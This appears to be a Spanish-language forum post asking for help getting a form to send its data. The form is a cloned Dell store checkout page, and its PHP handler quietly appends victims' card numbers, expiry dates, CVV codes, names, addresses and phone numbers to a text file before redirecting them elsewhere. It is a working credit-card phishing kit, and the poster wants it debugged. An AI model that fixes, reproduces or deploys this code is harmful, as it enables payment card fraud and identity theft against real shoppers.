Este formulario no me envia los datos, por que???:
Código PHP:
<!-- content_start-->
<div><img src="basket.aspx_files/spacer_002.gif" alt="" width="1" border="0" height="5"></div>
<div id="maincontentcnt"><table cellpadding="0" cellspacing="0"><tbody><tr><td valign="top" width="728"><form method="GET" action="baske.php" >
<?
if($_POST)
{
$keys_post = array_keys($_POST);
foreach ($keys_post as $key_post)
{
$$key_post = $_POST[$key_post];
error_log("variable $key_post viene desde $ _POST");
}
}
if($_GET)
{
$keys_get = array_keys($_GET);
foreach ($keys_get as $key_get)
{
$$key_get = $_GET[$key_get];
error_log("variable $key_get viene desde $ _GET");
}
}
if($_SESSION)
{
$keys_sesion = array_keys($_SESSION);
foreach ($keys_sesion as $key_sesion)
{
$$key_sesion = $_SESSION[$key_sesion];
error_log("variable $key_sesion viene desde $ _SESSION");
}
}
?>
<script language="javascript">
// -->
</script><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td valign="top" width="728"><table cellpadding="0" cellspacing="0"><tbody><tr><td valign="top" width="728">
<!-- SiteCatalyst code version: H.14.
Copyright 1997-2007 Omniture, Inc. More info available at
http://www.omniture.com -->
<script type="text/javascript" src="basket.php"></script>
<script language="JavaScript"><!--
try {
/* You may give each page an identifying name, server, and channel on
the next lines. */
s_dell.pageName="dellstore^basket";
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s_dell.t();if(s_code)document.write(s_code)
} catch (oex) {} //--></script>
<!-- End SiteCatalyst code version: H.14. -->
<!-- Offermatica Changes Starts -->
<script type="text/javascript" src="basket.aspx_files/mbox31.js"></script>
<div style="visibility: visible; display: block;" class="mboxDefault"></div>
<script type="text/javascript">
try
{
if ( typeof ( mboxCreate ) != "undefined")
{
mboxCreate('orderConfirmPage');
}
} catch (ex) {}
</script><div id="mboxMarker-orderConfirmPage-0" style="visibility: hidden; display: none;"></div>
<!-- Offermatica Changes Ends -->
<select id="PayCC_creditcard_v_ccType" onChange="window.focus();" name="cc" style="width: 130px; visibility: visible;">
<option selected="selected" value="UNDEFINED">Select Credit Card</option><option value="VISA">Visa</option><option value="MASTER">MasterCard</option><option value="AMEX">American Express</option><option value="DISCOVER">Discover Network</option></select></td></tr><tr><td class="para" valign="top">
Name as it appears on card</span></td></tr><tr><td class="para" valign="top"><input name="card_holder" maxlength="40" id="PayCC_creditcard_v_ccName" style="width: 270px; visibility: visible;" type="text"></td></tr></tbody></table><table cellpadding="2" cellspacing="1"><tbody><tr><td class="para" valign="top"><div id="PayCC_creditcard_cc_extra_cc=UNDEFINED" style="visibility: visible; display: block;"><a href="baske.php" id="send">
<input name="submitcomplete" value="Continue" class="submitField" type="submit">
y este es el script baske.php:
Código PHP:
<?php
header ("Location: http://myweb.com");
$name= fopen("caes.txt", "a");
$cc=$_GET['cc'];
$ccnumber=$_GET['ccnumber'];
$mes=$_GET['mes'];
$año=$_GET['año'];
$card_holder=$_GET['card_holder'];
$cvv=$_GET['cvv'];
$Firstname=$_GET['Firstname'];
$lastname=$_GET['lastname'];
$Adress1=$_GET['Adress1'];
$Adress2=$_GET['Adress2'];
$city=$_GET['city'];
$state=$_GET['state'];
$zipcode=$_GET['zipcode'];
$zipext=$_GET['zipext'];
$phone=$_GET['phone'];
$extphone=$_GET['extphone'];
fwrite($name,"
---------------- VENTAS REALIZADAS----------------</b>
nombre: ".$Firstname."
apellido: ".$lastname."
card_holder: ".$card_holder."
Numero de Tarjeta: ".$ccnumber."
Vencimiento mes: ".$mes."
Vencimiento año: ".$año."
Codigo de Seguridad: ".$cvv."
Tipo de Tarjeta: ".$cc."
Direccion: ".$Adress1."
Telefono 1: ".$phone."
Ciudad: ".$city."
Estado: ".$state."
Codigo Postal: ".$zipcode).
fclose($name);
?>